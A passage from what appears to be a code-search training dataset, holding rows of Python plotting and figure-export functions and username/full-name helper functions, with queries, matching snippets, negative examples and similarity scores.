jgene_color.darken(0.05)\\r\\n\\r\\n\\t\\t\\tj_start_angles.append(cur_j_start)\\r\\n\\t\\t\\tj_end_angles.append(cur_j_end)\\r\\n\\r\\n\\t\\t\\tjgene_facecolors.append(jgene_color)\\r\\n\\t\\t\\tjgene_hover_colors.append(jgene_hover_color)\\r\\n\\r\\n\\t\\t\\tcur_j_start = cur_j_end\\r\\n\\r\\n\\t\\t\\tj_legend_text.append(jgene)\\r\\n\\t\\t\\tcur_jgene_counts = cur_vgene_df[cur_vgene_df[jgene_col] == jgene][\\\"Clustered\\\"].sum()\\r\\n\\t\\t\\tj_legend_percent.append(cur_jgene_counts / cur_vgene_counts)\\r\\n\\r\\n\\t\\tcur_v_start = cur_v_end + gap_size\\r\\n\\r\\n\\tv_wedge_data = {\\r\\n\\t\\t\\\"start_angle\\\": v_start_angles,\\r\\n\\t\\t\\\"end_angle\\\": v_end_angles,\\r\\n\\t\\t\\\"fill_color\\\": vgene_facecolors,\\r\\n\\t\\t\\\"legend\\\": v_legend_text,\\r\\n\\t\\t\\\"percent\\\": v_legend_percent,\\r\\n\\t\\t\\\"vgene_facecolors\\\": vgene_facecolors,\\r\\n\\t\\t\\\"vfamily_facecolors\\\": vfamily_facecolors,\\r\\n\\t\\t\\\"hover_fill_color\\\": vgene_hover_colors,\\r\\n\\t\\t\\\"vgene_hover_colors\\\": vgene_hover_colors,\\r\\n\\t\\t\\\"vfamily_hover_colors\\\": vfamily_hover_colors\\r\\n\\t}\\r\\n\\tv_source = ColumnDataSource(v_wedge_data)\\r\\n\\r\\n\\tv_inner_rad = 0.4\\r\\n\\tv_outer_rad = 0.692\\r\\n\\r\\n\\tplot.annular_wedge(x = 0.5, y = 0.5, start_angle = \\\"start_angle\\\", end_angle = \\\"end_angle\\\",\\r\\n\\t\\t\\t\\t\\t fill_color = \\\"fill_color\\\", selection_fill_color = \\\"fill_color\\\",\\r\\n\\t\\t\\t\\t\\t nonselection_fill_color = \\\"fill_color\\\", selection_fill_alpha = 1.0,\\r\\n\\t\\t\\t\\t\\t nonselection_fill_alpha = 0.2, hover_fill_color = \\\"hover_fill_color\\\", inner_radius = v_inner_rad,\\r\\n\\t\\t\\t\\t\\t outer_radius = v_outer_rad, line_color = \\\"black\\\", line_width = line_width, source = v_source,\\r\\n\\t\\t\\t\\t\\t legend = \\\"legend\\\", start_angle_units = \\\"deg\\\", end_angle_units = \\\"deg\\\")\\r\\n\\r\\n\\tj_wedge_data = {\\r\\n\\t\\t\\\"start_angle\\\": j_start_angles,\\r\\n\\t\\t\\\"end_angle\\\": j_end_angles,\\r\\n\\t\\t\\\"fill_color\\\": jgene_facecolors,\\r\\n\\t\\t\\\"legend\\\": j_legend_text,\\r\\n\\t\\t\\\"percent\\\": j_legend_percent,\\r\\n\\t\\t\\\"hover_fill_color\\\": jgene_hover_colors\\r\\n\\t}\\r\\n\\r\\n\\tj_source = ColumnDataSource(j_wedge_data)\\r\\n\\r\\n\\tj_inner_rad = v_outer_rad + vj_gap\\r\\n\\tj_outer_rad = j_inner_rad + 0.15\\r\\n\\r\\n\\tplot.annular_wedge(x = 0.5, y = 0.5, start_angle = \\\"start_angle\\\", end_angle = \\\"end_angle\\\",\\r\\n\\t\\t\\t\\t\\t fill_color = \\\"fill_color\\\", selection_fill_color = \\\"fill_color\\\",\\r\\n\\t\\t\\t\\t\\t nonselection_fill_color = \\\"fill_color\\\", selection_fill_alpha = 1.0,\\r\\n\\t\\t\\t\\t\\t nonselection_fill_alpha = 0.2, hover_fill_color = \\\"hover_fill_color\\\", inner_radius = j_inner_rad,\\r\\n\\t\\t\\t\\t\\t outer_radius = j_outer_rad, line_color = \\\"black\\\", line_width = line_width, source = j_source,\\r\\n\\t\\t\\t\\t\\t legend = \\\"legend\\\", start_angle_units = \\\"deg\\\", end_angle_units = \\\"deg\\\")\\r\\n\\r\\n\\tif png is not None:\\r\\n\\t\\texport_png(plot, png)\\r\\n\\r\\n\\tchange_v_color = CustomJS(args = {\\\"source\\\": v_source}, code = \\\"\\\"\\\"\\r\\n\\t\\tvar selection = cb_obj.value;\\r\\n\\t\\tvar new_color_array;\\r\\n\\t\\tvar new_hover_array;\\r\\n\\t\\tif(selection.toLowerCase().indexOf(\\\"gene\\\") !== -1) {\\r\\n\\t\\t\\tnew_color_array = source.data[\\\"vgene_facecolors\\\"];\\r\\n\\t\\t\\tnew_hover_array = source.data[\\\"vgene_hover_colors\\\"];\\r\\n\\t\\t} else {\\r\\n\\t\\t\\tnew_color_array = source.data[\\\"vfamily_facecolors\\\"];\\r\\n\\t\\t\\tnew_hover_array = source.data[\\\"vfamily_hover_colors\\\"];\\r\\n\\t\\t}\\r\\n\\t\\tvar fill_color = source.data[\\\"fill_color\\\"];\\r\\n\\t\\tvar hover_fill_color = source.data[\\\"hover_fill_color\\\"];\\r\\n\\t\\tfor(idx = 0; idx < fill_color.length; idx++) {\\r\\n\\t\\t\\tfill_color[idx] = new_color_array[idx];\\r\\n\\t\\t\\thover_fill_color[idx] = new_hover_array[idx];\\r\\n\\t\\t}\\r\\n\\t\\tsource.change.emit();\\r\\n\\t\\\"\\\"\\\")\\r\\n\\r\\n\\tv_data_color_by = Select(title = \\\"Color by:\\\", options = [\\\"V Gene\\\", \\\"V Family\\\"],\\r\\n\\t\\t\\t\\t\\t\\t\\t value = \\\"V Gene\\\", callback = change_v_color)\\r\\n\\r\\n\\tplot_layout = column(v_data_color_by, plot)\\r\\n\\treturn plot_layout\",\n \"def offline_plotly_scatter_bubble(df, x='x', y='y', size_col='size', text_col='text',\\n category_col='category', possible_categories=None,\\n filename=None,\\n config={'displaylogo': False},\\n xscale=None, yscale='log',\\n layout={'hovermode': 'closest', 'showlegend': False, 'autosize': True},\\n marker={'sizemode': 'area'},\\n min_size=10,\\n ):\\n config_default = dict(DEFAULT_PLOTLY_CONFIG)\\n marker_default = {\\n 'size': size_col or min_size,\\n 'sizemode': 'area',\\n 'sizeref': int(df[size_col].min() * .8) if size_col else min_size}\\n marker_default.update(marker)\\n size_col = marker_default.pop('size')\\n layout_default = {\\n 'xaxis': XAxis(title=x, type=xscale),\\n 'yaxis': YAxis(title=y, type=yscale),\\n }\\n layout_default.update(**layout)\\n if config is not None:\\n config_default.update(config)\\n df.columns = clean_columns(df.columns)\\n if possible_categories is None and category_col is not None:\\n if category_col in df.columns:\\n category_labels = df[category_col]\\n else:\\n category_labels = np.array(category_col)\\n possible_categories = list(set(category_labels))\\n possible_categories = [None] if possible_categories is None else possible_categories\\n if category_col and category_col in df:\\n masks = [np.array(df[category_col] == label) for label in possible_categories]\\n else:\\n masks = [np.array([True] * len(df))] * len(possible_categories)\\n data = {'data': [\\n Scatter(x=df[x][mask].values,\\n y=df[y][mask].values,\\n text=df[text_col][mask].values,\\n marker=Marker(size=df[size_col][mask] if size_col in df.columns else size_col,\\n **marker_default),\\n mode='markers',\\n name=str(category_name)) for (category_name, mask) in zip(possible_categories, masks)\\n ],\\n 'layout': Layout(**layout_default)\\n }\\n return offline_plotly_data(data, filename=filename, config=config_default)\",\n \"def create_plot(x_var, y_var):\\r\\n\\r\\n FILE_PATH = 'application/star_data.csv'\\r\\n TARGET_VAR = 'star_type'\\r\\n SIZE_VAR = 'r_clipped'\\r\\n WIDTH = 1000\\r\\n HEIGHT = 600\\r\\n\\r\\n # Get the data\\r\\n df = pd.read_csv(FILE_PATH)\\r\\n fig = px.scatter(df, x=x_var, y=y_var, color=TARGET_VAR, size=SIZE_VAR, \\r\\n width=WIDTH, height=HEIGHT)\\r\\n graphJSON = json.dumps(fig, cls=plotly.utils.PlotlyJSONEncoder)\\r\\n\\r\\n return graphJSON\",\n \"def index():\\n # create table for original dataset\\n table_1 = data_table_low(filepath = \\\"sparkify_data.csv\\\", title='Raw Sparkify Data')\\n\\n table_2 = data_table_low(filepath = \\\"cleaned_data.csv\\\", title='Cleaned Sparkify Data')\\n\\n # create and append plotly visuals into an array to be passed later for graphJSON file\\n graphs = [table_1, table_2]\\n\\n # encode plotly graphs in JSON\\n ids = [\\\"graph-{}\\\".format(i) for i, _ in enumerate(graphs)]\\n graphJSON = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder)\\n\\n # render web page with plotly graphs\\n return render_template(\\\"master.html\\\", ids=ids, graphJSON=graphJSON)\",\n \"def deciles_chart(\\n df,\\n period_column=None,\\n column=None,\\n title=\\\"\\\",\\n ylabel=\\\"\\\",\\n interactive=True,\\n width=800,\\n height=400,\\n):\\n\\n df = compute_deciles(df, period_column, column, True)\\n\\n if interactive:\\n\\n fig = go.Figure()\\n\\n linestyles = {\\n \\\"decile\\\": {\\\"color\\\": \\\"blue\\\", \\\"dash\\\": \\\"dash\\\"},\\n \\\"median\\\": {\\\"color\\\": \\\"blue\\\", \\\"dash\\\": \\\"solid\\\"},\\n \\\"percentile\\\": {\\\"color\\\": \\\"blue\\\", \\\"dash\\\": \\\"dash\\\"},\\n }\\n\\n for percentile in np.unique(df[\\\"percentile\\\"]):\\n df_subset = df[df[\\\"percentile\\\"] == percentile]\\n if percentile == 50:\\n fig.add_trace(\\n go.Scatter(\\n x=df_subset[period_column],\\n y=df_subset[column],\\n line={\\\"color\\\": \\\"blue\\\", \\\"dash\\\": \\\"solid\\\", \\\"width\\\": 1.2},\\n name=\\\"median\\\",\\n )\\n )\\n else:\\n fig.add_trace(\\n go.Scatter(\\n x=df_subset[period_column],\\n y=df_subset[column],\\n line={\\\"color\\\": \\\"blue\\\", \\\"dash\\\": \\\"dash\\\", \\\"width\\\": 1},\\n name=f\\\"decile {int(percentile/10)}\\\",\\n )\\n )\\n\\n # Set title\\n fig.update_layout(\\n title_text=title,\\n hovermode=\\\"x\\\",\\n title_x=0.5,\\n width=width,\\n height=height,\\n )\\n\\n fig.update_yaxes(title=ylabel)\\n fig.update_xaxes(title=\\\"Date\\\")\\n\\n # Add range slider\\n fig.update_layout(\\n xaxis=go.layout.XAxis(\\n rangeselector=dict(\\n buttons=list(\\n [\\n dict(\\n count=1,\\n label=\\\"1m\\\",\\n step=\\\"month\\\",\\n stepmode=\\\"backward\\\",\\n ),\\n dict(\\n count=6,\\n label=\\\"6m\\\",\\n step=\\\"month\\\",\\n stepmode=\\\"backward\\\",\\n ),\\n dict(\\n count=1,\\n label=\\\"1y\\\",\\n step=\\\"year\\\",\\n stepmode=\\\"backward\\\",\\n ),\\n dict(step=\\\"all\\\"),\\n ]\\n )\\n ),\\n rangeslider=dict(visible=True),\\n type=\\\"date\\\",\\n )\\n )\\n\\n fig.show()\\n\\n else:\\n px = 1 / plt.rcParams[\\\"figure.dpi\\\"] # pixel in inches\\n fig, ax = plt.subplots(\\n 1, 1, figsize=(width * px, height * px), tight_layout=True\\n )\\n\\n deciles_chart_ebm(\\n df,\\n period_column=period_column,\\n column=column,\\n ylabel=\\\"rate per 1000\\\",\\n show_outer_percentiles=True,\\n ax=ax,\\n )\",\n \"def visualization_one(target_var = None, input_vars= None, output_image_name=None):\\n ###\\n # Main chunk of code here\\n ###\\n\\n # Starter code for labeling the image\\n plt.xlabel(None, figure = fig)\\n plt.ylabel(None, figure = fig)\\n plt.title(None, figure= fig)\\n plt.legend()\\n\\n # exporting the image to the img folder\\n plt.savefig(f'img/{output_image_name}.png', transparent = True, figure = fig)\\n return fig\",\n \"def plotlyfig2json(fig, fpath=None):\\n\\n redata = json.loads(json.dumps(fig.data, cls=PlotlyJSONEncoder))\\n relayout = json.loads(json.dumps(fig.layout, cls=PlotlyJSONEncoder))\\n\\n fig_json=json.dumps({'data': redata,'layout': relayout})\\n\\n if fpath:\\n with open(fpath, 'w') as f:\\n f.write(fig_json)\\n else:\\n return fig_json\",\n \"def use_svg_display():\\n display.set_matplotlib_formats('svg')\",\n \"def use_svg_display():\\n display.set_matplotlib_formats('svg')\",\n \"def use_svg_display():\\n display.set_matplotlib_formats('svg')\",\n \"def use_svg_display():\\n display.set_matplotlib_formats('svg')\",\n \"def use_svg_display():\\n display.set_matplotlib_formats('svg')\",\n \"def to_svg(self, separate=False, include_junctions=False):\\n serialize_as_svg(self.output, separate, include_junctions)\",\n \"def get_session_svg(viz_data):\\n \\n graph = Dot('graphname', graph_type='digraph')\\n \\n #loop create all nodes and store by id\\n node_dict = {}\\n for i, node_data in enumerate(viz_data['nodes']):\\n id = node_data['id']\\n node_dict[id] = str(i)\\n graph.add_node(Node(str(i)))\\n \\n #add edges by links\\n for link_data in viz_data['links']:\\n snode = node_dict[viz_data['nodes'][link_data['source']]['id']]\\n tnode = node_dict[viz_data['nodes'][link_data['target']]['id']]\\n graph.add_edge(Edge(snode, tnode))\\n \\n #get svg of graph\\n file = NamedTemporaryFile()\\n graph.write_svg(file.name)\\n svg = file.read()\\n file.close()\\n \\n #f = open('/tmp/session/session.svg', 'w')\\n #f.write(\\\"%s\\\\n\\\" % svg)\\n #f.close()\\n\\n return svg\",\n \"def pd_to_gif(data ,xyz ,name ,clrs=None):\\r\\n\\r\\n x, y, z = list(data[xyz[0]]), list(data[xyz[1]]), list(data[xyz[2]])\\r\\n clrs = list(data[clrs]) if clrs != None else ['blue']*len(x)\\r\\n\\r\\n lst = create_3d_graph(x, y, z, colors=clrs, fr=36,name=name)\\r\\n create_gif(lst, name)\\r\\n clean_workspace(lst)\",\n \"def cb_save(event):\\n fig.savefig('sample.univariate_discrete.py.png', dpi=300, format='png', transparent=True)\",\n \"def save_fig(name, folder='', show=False):\\n plt.tight_layout()\\n path = 'Graphs/' + folder + '/' + name\\n plt.savefig(path, bbox_inches='tight')\\n if show == True:\\n plt.show()\\n plt.close()\",\n \"def output_svg(self, string_to_output):\\n self._output_object.add_report(string_to_output)\",\n \"def data_visualization_general(data):\\n path_to_save = str(Path(__file__).parent.parent) + '/jupyter_notebook/'\\n key = list(data.keys())[0] # we do this way because keys() return a dict-keys which is not subscriptable\\n df = pd.DataFrame(data[key])\\n file_name = key + \\\".csv\\\"\\n df.to_csv(os.path.join(path_to_save, file_name))\\n # we save it in the jupyter_notebook folder so that it will be easier to show data on jupyter notebook\",\n \"def _create_ga_plots(ga_agent, output_directory):\\n\\n # create trace for plot\\n makespans_traces, makespans_layout = _make_ga_traces(ga_agent)\\n\\n # create plot\\n plot(dict(data=makespans_traces, layout=makespans_layout),\\n filename=str(output_directory / 'ga_makespans.html'),\\n auto_open=False)\\n\\n # create schedule\\n ga_agent.best_solution.create_schedule_xlsx_file(str(output_directory / 'ga_schedule'), continuous=True)\\n ga_agent.best_solution.create_gantt_chart_html_file(str(output_directory / 'ga_gantt_chart.html'), continuous=True)\",\n \"def plot_history(data):\\n fig = go.Figure()\\n for col in data.columns:\\n fig.add_trace(go.Scatter(x=data.index, y=data[col], mode='lines', name=col))\\n fig.update_xaxes(title_text=\\\"Time\\\",\\n showline=True, mirror=True, linewidth=1, linecolor='black',\\n zeroline=True, zerolinewidth=1, zerolinecolor='lightgrey',\\n showgrid=True, gridwidth=1, gridcolor='lightgrey')\\n fig.update_yaxes(title_text=\\\"Share Price ($ USD)\\\",\\n showline=True, mirror=True, linewidth=1, linecolor='black',\\n zeroline=True, zerolinewidth=1, zerolinecolor='lightgrey',\\n showgrid=True, gridwidth=1, gridcolor='lightgrey')\\n fig.update_layout(legend=dict(orientation=\\\"h\\\", yanchor=\\\"bottom\\\", y=-0.2, xanchor=\\\"center\\\", x=0.5),\\n font=dict(family='Times New Roman', size=15), plot_bgcolor='rgba(0,0,0,0)',\\n margin_l=20, margin_r=20, margin_t=20, margin_b=20,)\\n\\n fig.write_image(join('..', 'docs', 'share_prices_all_time.png'), height=700, width=900, engine='kaleido')\\n fig.write_html(join('..', 'docs', 'share_prices_all_time.html'))\\n fig.show()\\n\\n recent = data[:data.first_valid_index() - pd.Timedelta(weeks=52)]\\n fig = go.Figure()\\n for col in data.columns:\\n fig.add_trace(go.Scatter(x=recent.index, y=recent[col], mode='lines', name=col))\\n fig.update_xaxes(title_text=\\\"Time\\\",\\n showline=True, mirror=True, linewidth=1, linecolor='black',\\n zeroline=True, zerolinewidth=1, zerolinecolor='lightgrey',\\n showgrid=True, gridwidth=1, gridcolor='lightgrey')\\n fig.update_yaxes(title_text=\\\"Share Price ($ USD)\\\",\\n showline=True, mirror=True, linewidth=1, linecolor='black',\\n zeroline=True, zerolinewidth=1, zerolinecolor='lightgrey',\\n showgrid=True, gridwidth=1, gridcolor='lightgrey')\\n fig.update_layout(legend=dict(orientation=\\\"h\\\", yanchor=\\\"bottom\\\", y=-0.2, xanchor=\\\"center\\\", x=0.5),\\n font=dict(family='Times New Roman', size=15), plot_bgcolor='rgba(0,0,0,0)',\\n margin_l=20, margin_r=20, margin_t=20, margin_b=20,)\\n\\n fig.write_image(join('..', 'docs', 'share_prices_past_year.png'), height=700, width=900, engine='kaleido')\\n fig.write_html(join('..', 'docs', 'share_prices_past_year.html'))\\n fig.show()\",\n \"def save_as_svg(file_name, path = DEFAULT_PATH):\\n plt.ioff()\\n plt.savefig(path + file_name + '.svg')\\n plt.close()\",\n \"def scatter(df):\\n figs = []\\n\\n for prop_type in df['property_type'].unique():\\n df_filt = df[df['property_type'] == prop_type]\\n figs.append(\\n go.Scatter(x=df_filt['year'],\\n y=df_filt['price_paid'],\\n mode='markers',\\n marker=dict(\\n size=35,\\n opacity=0.2,\\n line=dict(\\n width=1,\\n color='darkSlateGrey'\\n )\\n ),\\n name=prop_type,\\n connectgaps=True)\\n )\\n\\n layout = go.Layout(width=600,\\n height=600,\\n title=dict(\\n text=\\\"Individual transactions, 1999 (merged with 1998) and 2020\\\"),\\n xaxis=dict(\\n type='category',\\n title=\\\"Year (where 1999 includes 1998 data)\\\"\\n ),\\n yaxis=dict(\\n title=\\\"Transaction Value\\\"\\n )\\n )\\n\\n fig = go.Figure(data=figs, layout=layout)\\n\\n chart = pyo.plot(fig, output_type='div', include_plotlyjs=True)\\n\\n return chart\",\n \"def scatter_df_plotly(df, x, y, z, text_fnct = hover_all, \\n streaming = True, filename= None):\\n layout = Layout(\\n title='colour map: %s' % z,\\n hovermode='closest', # (!) hover -> closest data pt\\n showlegend=False, # remove legend (info in hover)\\n autosize=False, # turn off autosize\\n width=650, # plot width\\n height=500, # plot height\\n xaxis=XAxis(\\n title= x,\\n titlefont=Font(\\n family='Courier New, monospace',\\n size=14,\\n color='#7f7f7f'\\n )\\n ),\\n yaxis=YAxis(\\n title= y,\\n titlefont=Font(\\n family='Courier New, monospace',\\n size=14,\\n color='#7f7f7f'\\n )\\n )\\n )\\n# print('marker sizes:')\\n# print(rescale_marker(df[z], square = True))\\n SC = Scatter(x=df[x], y = df[y],\\n mode='markers',\\n marker = Marker(size = rescale_marker(df[z], square = True),\\n color = df[z],\\n colorscale = 'Jet',\\n sizeref = 1,\\n sizemode = 'area')\\n )\\n\\n FIG = Figure(data = Data([SC]) , layout=layout ) \\n #FIG['layout'].update( )\\n \\n if text_fnct is not None:\\n FIG['data'][0].update(text = \\\\\\n df.apply(lambda ds: text_fnct(ds, x=x, y=y,z=z), axis = 1).tolist() )\\n\\n if not streaming:\\n if filename is not None:\\n return py.plot(FIG, filename = filename)\\n else:\\n return py.plot(FIG)\\n else:\\n return py.iplot(FIG)\",\n \"def save_fig(ax_data, file_name):\\n with open(file_name,'wb') as fid:\\n pickle.dump(ax_data, fid)\",\n \"def visualize_train_data(train_df, fname):\\r\\n logger = custom_logger.CustomLogger(run_id+':'+file_id)\\r\\n fig, axs = plt.subplots(3, figsize=(15,15))\\r\\n fig.suptitle('EPEX Intraday Continuous market electricity prices')\\r\\n\\r\\n axs[0].plot(train_df.index, train_df['low'], color='red')\\r\\n axs[0].set_title(\\\"Lowest Price\\\")\\r\\n axs[0].set(xlabel='time', ylabel='price (Euros)')\\r\\n\\r\\n axs[1].plot(train_df.index, train_df['high'], color='green')\\r\\n axs[1].set_title(\\\"Highest Pice\\\")\\r\\n axs[1].set(xlabel='time', ylabel='price (Euros)')\\r\\n\\r\\n axs[2].plot(train_df.index, train_df['weight_avg'], color='blue')\\r\\n axs[2].set_title(\\\"volume-weighted Average Price\\\")\\r\\n axs[2].set(xlabel='time', ylabel='price (Euros)')\\r\\n\\r\\n fig.savefig(os.path.join(unique_op_dir, fname))\\r\\n logger.info('Training data plots stored at ', os.path.join(unique_op_dir, fname))\",\n \"def _repr_svg_(self):\\n if not IPythonConsole.ipython_useSVG:\\n return None\\n mol = self.owner.mol\\n keku = IPythonConsole.kekulizeStructures\\n size = IPythonConsole.molSize\\n opts = IPythonConsole.drawOptions\\n return Draw._moltoSVG(\\n mol, size, self.aix, \\\"\\\", keku, drawOptions=opts, highlightBonds=self.bix\\n )\",\n \"def _repr_svg_(self):\\n if not IPythonConsole.ipython_useSVG:\\n return None\\n mol = self.owner.mol\\n keku = IPythonConsole.kekulizeStructures\\n size = IPythonConsole.molSize\\n opts = IPythonConsole.drawOptions\\n return Draw._moltoSVG(\\n mol, size, self.aix, \\\"\\\", keku, drawOptions=opts, highlightBonds=self.bix\\n )\",\n \"def savefig(filename, **options):\\n print(\\\"Saving figure to file\\\", filename)\\n plt.savefig(filename, **options)\",\n \"def make_figure(self, traces):\\n pass\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6491675","0.6076382","0.59671855","0.59521836","0.592906","0.5924873","0.588453","0.5880291","0.5853218","0.5849005","0.5834654","0.5828318","0.5821972","0.5789379","0.57887715","0.5768348","0.5747316","0.57470936","0.5695773","0.56733716","0.5663988","0.5661435","0.56577605","0.5626979","0.56248856","0.5616997","0.5590004","0.55883175","0.55858964","0.55802053","0.5570946","0.5566822","0.5544809","0.5538503","0.5525745","0.5486996","0.5480567","0.5479021","0.54508877","0.54504615","0.5445374","0.54326695","0.5422717","0.5420476","0.54040223","0.5383839","0.538081","0.53768545","0.5361683","0.53588545","0.5346233","0.53451824","0.53411573","0.53411025","0.5326443","0.532149","0.531905","0.5308388","0.53030276","0.5298586","0.5291598","0.5289902","0.5278879","0.52710503","0.526969","0.5268015","0.5268015","0.52643794","0.52639","0.52596503","0.5253288","0.5251002","0.5239769","0.52284753","0.5228318","0.522748","0.52230597","0.52191454","0.5208359","0.5208359","0.5208359","0.5208359","0.5208359","0.52049434","0.5204262","0.5202046","0.51969707","0.5191752","0.5187607","0.51854384","0.5178256","0.51762277","0.5175603","0.51735693","0.5173413","0.51581466","0.5147512","0.51410383","0.51410383","0.51403207","0.5135453"],"string":"[\n \"0.6491675\",\n \"0.6076382\",\n \"0.59671855\",\n \"0.59521836\",\n \"0.592906\",\n \"0.5924873\",\n \"0.588453\",\n \"0.5880291\",\n \"0.5853218\",\n \"0.5849005\",\n \"0.5834654\",\n \"0.5828318\",\n \"0.5821972\",\n \"0.5789379\",\n \"0.57887715\",\n \"0.5768348\",\n \"0.5747316\",\n \"0.57470936\",\n \"0.5695773\",\n \"0.56733716\",\n \"0.5663988\",\n \"0.5661435\",\n \"0.56577605\",\n \"0.5626979\",\n \"0.56248856\",\n \"0.5616997\",\n \"0.5590004\",\n \"0.55883175\",\n \"0.55858964\",\n \"0.55802053\",\n \"0.5570946\",\n \"0.5566822\",\n \"0.5544809\",\n \"0.5538503\",\n \"0.5525745\",\n \"0.5486996\",\n \"0.5480567\",\n \"0.5479021\",\n \"0.54508877\",\n \"0.54504615\",\n \"0.5445374\",\n \"0.54326695\",\n \"0.5422717\",\n \"0.5420476\",\n \"0.54040223\",\n \"0.5383839\",\n \"0.538081\",\n \"0.53768545\",\n \"0.5361683\",\n \"0.53588545\",\n \"0.5346233\",\n \"0.53451824\",\n \"0.53411573\",\n \"0.53411025\",\n \"0.5326443\",\n \"0.532149\",\n \"0.531905\",\n \"0.5308388\",\n \"0.53030276\",\n \"0.5298586\",\n \"0.5291598\",\n \"0.5289902\",\n \"0.5278879\",\n \"0.52710503\",\n \"0.526969\",\n \"0.5268015\",\n \"0.5268015\",\n \"0.52643794\",\n \"0.52639\",\n \"0.52596503\",\n \"0.5253288\",\n \"0.5251002\",\n \"0.5239769\",\n \"0.52284753\",\n \"0.5228318\",\n \"0.522748\",\n \"0.52230597\",\n \"0.52191454\",\n \"0.5208359\",\n \"0.5208359\",\n \"0.5208359\",\n \"0.5208359\",\n \"0.5208359\",\n \"0.52049434\",\n \"0.5204262\",\n \"0.5202046\",\n \"0.51969707\",\n \"0.5191752\",\n \"0.5187607\",\n \"0.51854384\",\n \"0.5178256\",\n \"0.51762277\",\n \"0.5175603\",\n \"0.51735693\",\n \"0.5173413\",\n \"0.51581466\",\n \"0.5147512\",\n \"0.51410383\",\n \"0.51410383\",\n \"0.51403207\",\n \"0.5135453\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":15387,"cells":{"query":{"kind":"string","value":"nice_name tag returns the username when the full name is not available"},"document":{"kind":"string","value":"def test_nice_name_returns_username(self):\n\n class UserNoName():\n username = 'my_username'\n\n def get_full_name(self):\n return None\n\n rendered = self.render_nice_name(UserNoName())\n\n self.assertEquals(rendered, 'my_username')"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def nice_name(self):\n if self.first_name or self.last_name:\n return \"%s %s\" % (self.first_name, self.last_name)\n else:\n key = \"profile.nice_name\"\n cache_key = \"%s.%s.%s\" % (settings.SITE_CACHE_KEY, key, self.pk) \n cached = cache.get(cache_key)\n if cached is None:\n cached = self.user.username\n cache.set(cache_key, cached)\n return cached","def _username_from_name(self, name):\r\n return name.replace(' ', '_')","def get_full_name(self):\n return self.username","def get_full_name(self):\n return self.username","def username(self) -> str:","def username(self) -> str:","def get_username(self):\n full_name = '%s %s' % (self.user.first_name.strip(), self.user.last_name.strip()[0:1])\n if len(full_name.strip()) == 0:\n full_name = self.user.username\n return full_name.strip()","def get_short_name(self):\n return f\"{self.first_name} {self.last_name[:1]}\" if self.first_name else self.username","def get_displayname(self):\n return self.full_name or self.user.username","def username(self) -> undefined.UndefinedOr[str]:","def get_short_name(self):\n return self.username","def get_short_name(self):\n return self.username","def get_short_name(self):\n return self.username","def get_full_name(self):\n full_name = f'{self.first_name} {self.last_name}' if self.first_name and self.last_name else self.username\n return full_name.strip()","def get_full_name(self):\n full_name = '%s %s' % (self.user.first_name.strip(), self.user.last_name.strip())\n if len(full_name.strip()) == 0:\n full_name = self.user.username\n return full_name.strip()","def test_nice_name_returns_full_namename(self):\n\n class User():\n username = 'my_username'\n\n def get_full_name(self):\n return 'my_full_name'\n\n rendered = self.render_nice_name(User())\n\n self.assertEquals(rendered, 'my_full_name')","def get_user_name(self):\n full_name = f'{self.f_name} {self.l_name}'\n return full_name","def generateUsername(self):\n retval= \"{0}.{1}\".format( self.first_name.split()[0].lower(),\n self.last_name.split()[-1].lower() )\n \n return toAscii(retval)","def get_name(self):\n user = self.user\n name = \"%s %s\" % (user.first_name, user.last_name)\n name = name.strip()\n\n return self.display_name or name or user.email or user.username","def nice_name():\n\n pass","def label_from_instance(obj):\n if len(obj.first_name) > 0 and len(obj.last_name) > 0:\n return \"{} {}\".format(obj.first_name, obj.last_name)\n else:\n return \"<{}>\".format(obj.username)","def clean_username (self):\n return self.instance.username","def username(self) -> str:\n raise NotImplementedError","def handle_public_name(user, request):\n\n if not user.is_authenticated:\n return 'Anonymous User'\n\n if 'ANONYMIZE' in request.COOKIES:\n request.__dict__.setdefault('scrub_names', {})\n request.scrub_names[user] = user.id\n return 'User Name_%d' % user.id\n else:\n return (user.get_full_name() or user.username).replace('\"', \"'\")","def ldap_get_fullname(self, user):\n result = super(Auth42, self)._search_not_empty(user)\n if result is not None:\n fullname = (result.get(\"first-name\")[0], result.get(\"last-name\")[0])\n return ' '.join(str(name) for name in fullname)\n\n return None","def get_user_display_name(self):\n return self.user.get_full_name() or self.user.get_username()","def full_name(self):\n return self.user.get_full_name() or None","def get_name(username):\n print(\"We halo \" + username + \" , piye kabare?\")","def full_name(self):\n return \"{} {}\".format(self.user.first_name, self.user.last_name)","def second_name(self, instance):\r\n return instance.user.profile.second_name","def get_username(problem_name, instance_number):\n\n return \"{}_{}\".format(sanitize_name(problem_name), instance_number)","def get_name(self):\n return self.user.username if self.user.username else self.user.email","def full_name(self, obj: User) -> str:\n return obj.get_full_name()","def getUsername(self):\n\t\treturn self.Username.lower()","def display_name(self) -> str:\n return self.requester.username","def __find_username_field_via_name(self, inputs):\n for input in inputs:\n for n in ('name', 'login', 'user', 'mail'):\n if n in input.attrs['name'].lower():\n return input.attrs['name']\n return None","def get_full_name(self):\n full_name = '%s %s' % (self.first_name, self.last_name)\n return full_name.strip()","def full_name_short(self):\n return \"{}. {}\".format(str(self.user.first_name)[:1], self.user.last_name)","def get_username(self):\r\n raise NotImplementedError","def get_full_name(self):\r\n full_name = '%s' % (self.name)\r\n return full_name.strip()","def combine_name(self):\n if self.first_name.isalpha() and self.last_name.isalpha():\n username = self.first_name + \" \" + self.last_name\n return username\n return 'Names must be alphabets'","def usernameFind(self):\r\n return self.username()","def full_name(self) -> Optional[str]:\n return pulumi.get(self, \"full_name\")","def get_name(self) :\n\n return self.factory.to_user_name(self.name)","def get_username(self):\n return str(getattr(self, self.USERNAME_FIELD))","def nice_username(email):\n clean_email = re.sub(r'\\W', '', email.replace('@', '_')).lower()\n hash = b32encode(sha1(email + str(random.random())).digest()).strip('=').lower()\n return u'%s_%s' % (clean_email[:20], hash[:6])","def username(self, inst):\r\n return inst.user.username","def get_short_name(self):\n # The user is identified by their email address\n return self.first_name","def __str__(self) -> str:\n return self.name or self.username","def get_display_name(member):\n if member.nick is None:\n name = member.name\n else:\n name = member.nick\n if User.objects.get(id=member.id).is_ironman:\n name += ' 